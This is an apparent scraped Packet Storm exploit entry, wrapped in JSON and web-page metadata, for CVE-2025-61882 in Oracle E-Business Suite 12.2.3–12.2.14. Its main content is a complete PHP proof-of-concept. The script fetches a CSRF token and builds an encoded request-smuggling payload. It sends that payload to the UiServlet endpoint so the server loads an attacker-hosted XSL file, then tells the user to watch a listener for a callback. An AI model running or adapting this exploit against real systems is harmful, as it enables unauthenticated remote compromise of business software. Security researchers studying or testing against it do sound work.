{“lastseen”:”2026-01-30T17:47:26″,”description”:”This script is a refined proof of concept targeting Oracle E\u2011Business Suite EBS vulnerability CVE\u20112025\u201161882. It corrects logical flaws in request smuggling payload construction, particularly around request termination and CRLF preservation, ensuring…”,”published”:”2026-01-30T00:00:00″,”modified”:”2026-01-30T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Oracle E-Business Suite 12.2.3 Request Smuggling”,”source”:””,”references”:””,”id”:”PACKETSTORM:214643″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-61882″],”sourceData”:”=============================================================================================================================================\\n | # Title : Oracle E-Business Suite 12.2.3 through 12.2.14 Corrected Request Smuggling Exploit with Enhanced CSRF Token Extraction |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.1 (64 bits) |\\n | # Vendor : https:\/\/www.oracle.com\/applications\/ebusiness\/ |\\n =============================================================================================================================================\\n \\n [+] References: https:\/\/packetstorm.news\/files\/id\/214189\/ \\u0026 CVE-2025-61882\\n \\n [+] Summary: This script is a refined proof-of-concept targeting Oracle E\u2011Business Suite (EBS) vulnerability CVE\u20112025\u201161882. \\n It corrects logical flaws in request smuggling payload construction, particularly around request termination and CRLF preservation, ensuring reliable proxy\/backend desynchronization. \\n \\t\\t\\t The exploit also improves CSRF token extraction by prioritizing response headers (modern EBS behavior) with a fallback to parsing the response body. \\n \\t\\t\\t Additional fixes harden URL parsing (scheme\/host\/port handling) to avoid runtime warnings while preserving the original structure. \\n The result is a more stable, context-aware exploit workflow suitable for controlled security testing and research.\\n \\n [+] POC : php poc.php \\n \\n \\u003c?php\\n \\n class OracleEBSCVE202561882Exploit {\\n private $target;\\n private $targetPort = 8000;\\n private $srvHost;\\n private $srvPort;\\n private $lhost;\\n private $lport;\\n private $verbose = false;\\n private $cookies = [];\\n private $userAgent = ‘Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36’;\\n private $useHttps = false;\\n \\n public function __construct($options) {\\n $this-\\u003etarget = $options[‘target’] ?? null;\\n $this-\\u003elhost = $options[‘lhost’] ?? null;\\n $this-\\u003elport = $options[‘lport’] ?? null;\\n $this-\\u003esrvHost = $options[‘srvHost’] ?? ‘127.0.0.1’;\\n $this-\\u003esrvPort = $options[‘srvPort’] ?? 8080;\\n $this-\\u003everbose = $options[‘verbose’] ?? false;\\n \\n if ($this-\\u003etarget) {\\n $parsed = parse_url($this-\\u003etarget);\\n if ($parsed !== false) {\\n $scheme = $parsed[‘scheme’] ?? ‘http’;\\n $this-\\u003euseHttps = ($scheme === ‘https’);\\n $this-\\u003etarget = $parsed[‘host’] ?? $this-\\u003etarget;\\n $this-\\u003etargetPort = $parsed[‘port’] ?? ($this-\\u003euseHttps ? 443 : 80);\\n }\\n }\\n }\\n \\n private function retrieveCsrfTokenImproved() {\\n $url = $this-\\u003ebuildUrl(‘\/OA_HTML\/JavaScriptServlet’);\\n $headers = [\\n ‘CSRF-XHR: YES’,\\n ‘FETCH-CSRF-TOKEN: 1’,\\n ‘X-Requested-With: XMLHttpRequest’\\n ];\\n \\n $response = $this-\\u003ehttpRequest(‘POST’, $url, ”, $headers, true);\\n \\n if (preg_match(‘\/X-ORACLE-DBC-CSRF-TOKEN:\\\\s*([a-zA-Z0-9\\\\-]+)\/i’, $response, $m)) {\\n return trim($m[1]);\\n }\\n \\n if (preg_match(‘\/\\”csrfToken\\”\\\\s*:\\\\s*\\”([^\\”]+)\\”\/’, $response, $m)) {\\n return $m[1];\\n }\\n \\n return false;\\n }\\n \\n private function createSmugglePayloadImproved($xslUrl) {\\n $parsedXsl = parse_url($xslUrl);\\n $xslHost = $parsedXsl[‘host’] ?? $this-\\u003esrvHost;\\n $xslPath = $parsedXsl[‘path’] ?? ‘\/payload.xsl’;\\n $smuggled = \\”GET {$xslPath} HTTP\/1.1\\\\r\\\\n\\”;\\n $smuggled .= \\”Host: {$xslHost}\\\\r\\\\n\\”;\\n $smuggled .= \\”User-Agent: Oracle-Internal\/1.0\\\\r\\\\n\\”;\\n $smuggled .= \\”Connection: keep-alive\\\\r\\\\n\\\\r\\\\n\\”;\\n $payload = \\”0\\\\r\\\\n\\\\r\\\\n\\”;\\n $payload .= $smuggled;\\n \\n return $this-\\u003eencodeSmugglePayload($payload);\\n }\\n \\n private function encodeSmugglePayload($payload) {\\n $encoded = ”;\\n $len = strlen($payload);\\n for ($i = 0; $i \\u003c $len; $i++) {\\n $c = $payload[$i];\\n if ($c === \\”\\\\r\\” || $c === \\”\\\\n\\”) {\\n $encoded .= $c;\\n } else {\\n $encoded .= ‘\\u0026#’ . ord($c) . ‘;’;\\n }\\n }\\n return $encoded;\\n }\\n \\n public function exploit() {\\n $this-\\u003elog(\\”Attempting to retrieve CSRF token…\\”, \\”info\\”);\\n $token = $this-\\u003eretrieveCsrfTokenImproved();\\n \\n if (!$token) {\\n $this-\\u003elog(\\”Failed to retrieve CSRF token, smuggling may be unreliable.\\”, \\”warning\\”);\\n }\\n \\n $xslUrl = \\”http:\/\/{$this-\\u003esrvHost}:{$this-\\u003esrvPort}\/payload.xsl\\”;\\n $smuggleData = $this-\\u003ecreateSmugglePayloadImproved($xslUrl);\\n $xml = \\”\\u003c?xml version=’1.0′ encoding=’UTF-8′?\\u003e\\”;\\n $xml .= \\”\\u003cinitialize\\u003e\\”;\\n $xml .= \\”\\u003cparam name=’return_url’\\u003ehttp:\/\/internal.ebs.local{$smuggleData}\\u003c\/param\\u003e\\”;\\n $xml .= \\”\\u003cparam name=’ui_type’\\u003eApplet\\u003c\/param\\u003e\\”;\\n $xml .= \\”\\u003c\/initialize\\u003e\\”;\\n \\n $url = $this-\\u003ebuildUrl(‘\/OA_HTML\/configurator\/UiServlet’);\\n $postData = http_build_query([\\n ‘redirectFromJsp’ =\\u003e ‘1’,\\n ‘getUiType’ =\\u003e $xml,\\n ‘oa_csrf_token’ =\\u003e $token\\n ]);\\n \\n $this-\\u003elog(\\”Sending smuggling payload to UiServlet…\\”, \\”info\\”);\\n $this-\\u003ehttpRequest(‘POST’, $url, $postData, [\\n ‘Content-Type: application\/x-www-form-urlencoded’\\n ]);\\n \\n $this-\\u003elog(\\”Payload sent. Monitor your HTTP server and listener.\\”, \\”success\\”);\\n }\\n \\n private function httpRequest($method, $url, $data = ”, $headers = [], $returnFull = false) {\\n $ch = curl_init($url);\\n curl_setopt_array($ch, [\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_CUSTOMREQUEST =\\u003e $method,\\n CURLOPT_HEADER =\\u003e $returnFull,\\n CURLOPT_HTTPHEADER =\\u003e array_merge(\\n [\\”User-Agent: {$this-\\u003euserAgent}\\”],\\n $headers\\n )\\n ]);\\n \\n if ($method === ‘POST’) {\\n curl_setopt($ch, CURLOPT_POSTFIELDS, $data);\\n }\\n \\n $response = curl_exec($ch);\\n curl_close($ch);\\n return $response;\\n }\\n \\n private function buildUrl($path) {\\n $scheme = $this-\\u003euseHttps ? ‘https’ : ‘http’;\\n return \\”{$scheme}:\/\/{$this-\\u003etarget}:{$this-\\u003etargetPort}{$path}\\”;\\n }\\n \\n private function log($msg, $type) {\\n echo \\”[{$type}] {$msg}\\\\n\\”;\\n }\\n }\\n \\n $options = [\\n ‘target’ =\\u003e ‘http:\/\/192.168.1.100:8000’,\\n ‘lhost’ =\\u003e ‘192.168.1.50’,\\n ‘lport’ =\\u003e 4444,\\n ‘srvHost’ =\\u003e ‘192.168.1.50’,\\n ‘srvPort’ =\\u003e 8080\\n ];\\n \\n $exploit = new OracleEBSCVE202561882Exploit($options);\\n $exploit-\\u003eexploit();\\n \\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/214643″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/214643\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-30T17:47:26″,”description”:”This script is a refined proof of concept targeting Oracle E\u2011Business Suite EBS vulnerability CVE\u20112025\u201161882. It corrects logical flaws in request smuggling payload construction, particularly…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-38345","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n